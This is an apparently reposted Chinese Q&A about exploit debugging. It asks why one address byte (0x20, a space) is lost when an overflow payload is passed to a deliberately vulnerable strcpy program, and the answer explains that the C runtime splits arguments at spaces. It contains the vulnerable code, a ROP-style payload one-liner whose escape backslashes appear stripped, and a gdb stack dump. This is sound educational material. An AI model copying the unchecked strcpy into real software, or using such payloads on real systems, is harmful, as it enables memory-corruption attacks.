如果通过strcpy()获取用户输入,用户输入是否会在空间或空字符之外复制到堆栈上
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了如果通过strcpy()获取用户输入,用户输入是否会在空间或空字符之外复制到堆栈上相关的知识,希望对你有一定的参考价值。
我在这里有一个非常基本的疑问。
请考虑以下示例C程序在Ubuntu 32位小端机器上运行。
#include <string.h>
#include <unistd.h>
int main (int argc, char **argv)
{
char buf [8];
strcpy(buf, argv[1]);
system("/usr/bin/false");
}
现在我了解上述代码的安全含义。让我们暂时搁置一下。
在上面的代码中,buf
是一个局部变量。这意味着此缓冲区的空间将位于堆栈上。现在我们使用strcpy()
将用户输入复制到缓冲区。用户输入本身是在命令行上获取的。
现在说程序是用gdb运行的:
gdb program
现在,如果用户输入给了程序,则从gdb提示符,如下:
运行
python -c "print 'A'*12 + 'x10x83x04x08' + 'xdax84x04x08' + 'x24xa0x04x08' + 'x62x81x04x08' + 'x10x83x04x08' + 'xdax84x04x08' + 'x25xa0x04x08' + 'xd8x80x04x08' + 'x10x83x04x08' + 'xdax84x04x08' + 'x26xa0x04x08' + 'x13x85x04x08' + 'x20x83x04x08' + 'A'*4 + 'x24xa0x04x08';"
堆栈的内容如下:
(gdb) x/20wx $esp
0xbffff5b0: 0x41414141 0x41414141 0x41414141 0x08048310
0xbffff5c0: 0x080484da 0x0804a024 0x08048162 0x08048310
0xbffff5d0: 0x080484da 0x0804a025 0x080480d8 0x08048310
0xbffff5e0: 0x080484da 0x0804a026 0x08048513 0x08048300
0xbffff5f0: 0x00000000 0x6fb0e3f2 0x53b687e2 0x00000000
在地址0xbffff5e0
的极右手边的词是0x08048300
。根据给出的输入,它应该是0x08048320
。
为什么不如预期?令我印象深刻的是,预期的地址0x08048320
以20
结尾,这是一个空格字符。是否有可能因为它是一个空格字符作为输入传递给程序,它被认为是程序的输入结束,因此它根本不会复制任何东西?
你是正确的,strcpy()
会在遇到null时停止复制,并且它会在复制的内容中附加一个null。你在这看到的不是那个。 0x20
(空格字符)不会影响strcpy()
,但它将被C运行时本身用作重要字符。
如你所知,char **argv
是一个指向字符数组列表的指针,每个字符数组都代表命令行中的一个参数。即使你正在从Python传递数据并将其表示为十六进制数据,因为它被翻译,你的数据中有一个空格:'x20x83x04x08'
对于C运行时处理参数,这会将0x08048320
分解为0x08048300
,因为它将查看空间作为分隔符。
为了证明这种情况,请使用python脚本并将字符串输出到stdout而不是管道。
以上是关于如果通过strcpy()获取用户输入,用户输入是否会在空间或空字符之外复制到堆栈上的主要内容,如果未能解决你的问题,请参考以下文章